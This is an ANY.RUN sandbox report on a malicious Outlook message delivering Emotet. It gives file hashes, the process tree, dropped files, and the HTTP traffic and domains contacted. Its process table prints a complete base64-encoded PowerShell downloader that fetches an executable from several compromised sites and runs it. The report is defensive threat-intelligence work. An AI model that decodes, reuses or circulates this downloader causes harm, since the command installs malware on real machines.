File name: | RV RE UKI HSE Managers Meeting.msg |
Full analysis: | https://app.any.run/tasks/979fb915-092f-425e-afae-0cf669f08c89 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | October 09, 2019, 15:33:09 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-outlook |
File info: | CDFV2 Microsoft Outlook Message |
MD5: | C43DBDB49425A2FEEAE768E6EAA7940D |
SHA1: | 32E86F9393EBD26DC3CCF44468EE744AE2185F7E |
SHA256: | 3941040AC343B7B5F4E83B5ACDFD4A48AF390B8777905C9DB37999756BA45A7F |
SSDEEP: | 6144:+HVj4bfj+rYpXMiH+NHCozFklAs32RPxTqfVIBQ:+1j4bfj+rYpXMiH+NiozFkT3yxTqfmQ |
.msg | | | Outlook Message (34.2) |
---|---|---|
.oft | | | Outlook Form Template (20) |
.doc | | | Microsoft Word document (15.4) |
.doc | | | Microsoft Word document (old ver.) (9.1) |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2808 | "C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE" /f "C:\Users\admin\AppData\Local\Temp\RV RE UKI HSE Managers Meeting.msg" | C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Outlook Version: 14.0.6025.1000 | ||||
3424 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\PY3X0DPE\Declaración de Septiembre.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | OUTLOOK.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3172 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
2572 | powershell -encod JABWAFkAcQBsADYAbQA0AD0AJwBHADAAQQBOADQAOAAnADsAJABpAFUAdwBmADMAMAAgAD0AIAAnADEANgAwACcAOwAkAGgASABRADkAMgBIAD0AJwBsADQAcwBxAFMAdgAnADsAJABWAGIATwBZAEEAbABRAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABpAFUAdwBmADMAMAArACcALgBlAHgAZQAnADsAJABCADQAQQB1AGYAegBWAD0AJwBZAFMASwAyAHQAWABvAHMAJwA7ACQAdQBHAFQATgAxAEkAagBGAD0ALgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAEUAVAAuAFcARQBiAGMAbABpAEUATgBUADsAJAB3AGMAWABmAEcAVQBNAD0AJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBvAG4AcABvAGkAbgB0AG0AbwB0AG8AcgBzAC4AYwBvAG0ALwBjAGEAYwBoAGUALwB0AGIAYgB4AHIAaABwAC0AaABuAGQAOAAyAG8AbgBhAGUAbAAtADEAMgA2ADIAOAAxADIALwBAAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHYAcgBzAGEAdAAuAGMAbwBtAC8AYQB1AGgAbgAvAE0ASgBVAEYAeAB3AFYAdABPAC8AQABoAHQAdABwAHMAOgAvAC8AaABhAGIAZQByAGsAcgBpAHAAdABvAC4AYwBvAG0ALwBkAHYAZgBuAC8AWQBOAFkAcgBzAGEAUwAvAEAAaAB0AHQAcAA6AC8ALwBhAGIAYwB0AGkAZwBlAHIALgBjAG8AbQAvAHMAZQB0AHUAcABjAG8AbgBmAGkAZwBsAC8ASQBBAEEASwBpAGkAagAvAEAAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHAAZQByAHUAdAByAGEAdgBlAGwAYQBtAGEAegBpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMAMABhAGIAegB4AGYANQAwAC0AYgB6AGcAegA5AGkAZQBxADQALQA4ADYALwAnAC4AIgBzAHAAYABsAGkAdAAiACgAJwBAACcAKQA7ACQAegBMAGIAaABqAFEAPQAnAEEARABrADEATgBOAHcAMgAnADsAZgBvAHIAZQBhAGMAaAAoACQASAB0ADUANQBiAFEAIABpAG4AIAAkAHcAYwBYAGYARwBVAE0AKQB7AHQAcgB5AHsAJAB1AEcAVABOADEASQBqAEYALgAiAGQAbwBgAHcAbgBMAE8AYQBgAEQAZgBgAGkATABFACIAKAAkAEgAdAA1ADUAYgBRACwAIAAkAFYAYgBPAFkAQQBsAFEAKQA7ACQAQwBwAHoAdwBvAE4APQAnAEkASwBBAGoARAA5AGsAYgAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFYAYgBPAFkAQQBsAFEAKQAuACIAbABlAGAATgBHAFQASAAiACAALQBnAGUAIAAzADYAMAAwADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBUAGAAQQByAHQAIgAoACQAVgBiAE8AWQBBAGwAUQApADsAJABTAGMAZABsADcAVgBrAD0AJwBEADgARgAzAFMAZgBwACcAOwBiAHIAZQBhAGsAOwAkAEwAaABOAEoAdQBIAHQAPQAnAHoAbQBQAHoAYQBmAFIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAaQBFADUAYgBEAEQAdQB1AD0AJwBIAE4AagBUAGkAOAAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2808 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\CVR1246.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2808 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\~DF14CA759C631E6180.TMP | — | |
MD5:— | SHA256:— | |||
2808 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\PY3X0DPE\Declaración de Septiembre (2).doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
3424 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR6FA9.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3424 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_651EEFA5-40DF-4EA2-843C-66701975A2FD.0\93C2FBC6.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
2808 | OUTLOOK.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotm | pgc | |
MD5:00FB8004F19F0572AACC8CE7AB5C9A91 | SHA256:DC97E00CCB8FC4BB51D55E5C30D2A32DEAA2976F3BA0B3D48FE2079EAB81E65C | |||
3424 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:7E7D3E078D68EA5D1E665D53C5D2C6EF | SHA256:AB82B38CE7F190F3C6E6E0A7B75C8D600F9D17FF3E9E99398420E3B73FE5781A | |||
3172 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_651EEFA5-40DF-4EA2-843C-66701975A2FD.0\mso83AE.tmp | compressed | |
MD5:313BC957C7477863492F060136B5CD5B | SHA256:D7BE141D3F1A9A63DCD91315B8FC590036F105D2DCB2A43BDFA608C7E08A96D9 | |||
2808 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\PY3X0DPE\Declaración de Septiembre.doc | document | |
MD5:1B9EA31C6329A9F0FE3DC118E8CF54E2 | SHA256:5AA758850BDC8114574E3A0D0548CE886E4673141E0840B76F7F3A5CAF65892D | |||
3424 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_651EEFA5-40DF-4EA2-843C-66701975A2FD.0\93C2FBC6.doc | document | |
MD5:1B9EA31C6329A9F0FE3DC118E8CF54E2 | SHA256:5AA758850BDC8114574E3A0D0548CE886E4673141E0840B76F7F3A5CAF65892D |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2572 | powershell.exe | GET | 404 | 34.242.151.11:80 | http://abctiger.com/setupconfigl/IAAKiij/ | IE | html | 30.4 Kb | suspicious |
2572 | powershell.exe | GET | 302 | 144.217.79.200:80 | http://www.perutravelamazing.com/wp-content/30abzxf50-bzgz9ieq4-86/ | CA | html | 242 b | malicious |
2572 | powershell.exe | GET | 200 | 144.217.79.200:80 | http://www.perutravelamazing.com/cgi-sys/suspendedpage.cgi | CA | html | 7.42 Kb | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2572 | powershell.exe | 182.254.152.208:443 | www.vrsat.com | Shenzhen Tencent Computer Systems Company Limited | CN | unknown |
2572 | powershell.exe | 185.126.218.177:443 | haberkripto.com | Netinternet Bilisim Teknolojileri AS | TR | unknown |
2572 | powershell.exe | 34.242.151.11:80 | abctiger.com | Amazon.com, Inc. | IE | unknown |
2572 | powershell.exe | 104.27.166.132:443 | www.onpointmotors.com | Cloudflare Inc | US | unknown |
2572 | powershell.exe | 144.217.79.200:80 | www.perutravelamazing.com | OVH SAS | CA | malicious |
2808 | OUTLOOK.EXE | 64.4.26.155:80 | config.messenger.msn.com | Microsoft Corporation | US | whitelisted |
Domain | IP | Reputation |
---|---|---|
config.messenger.msn.com |
| whitelisted |
www.onpointmotors.com |
| suspicious |
www.vrsat.com |
| unknown |
haberkripto.com |
| unknown |
abctiger.com |
| suspicious |
www.perutravelamazing.com |
| malicious |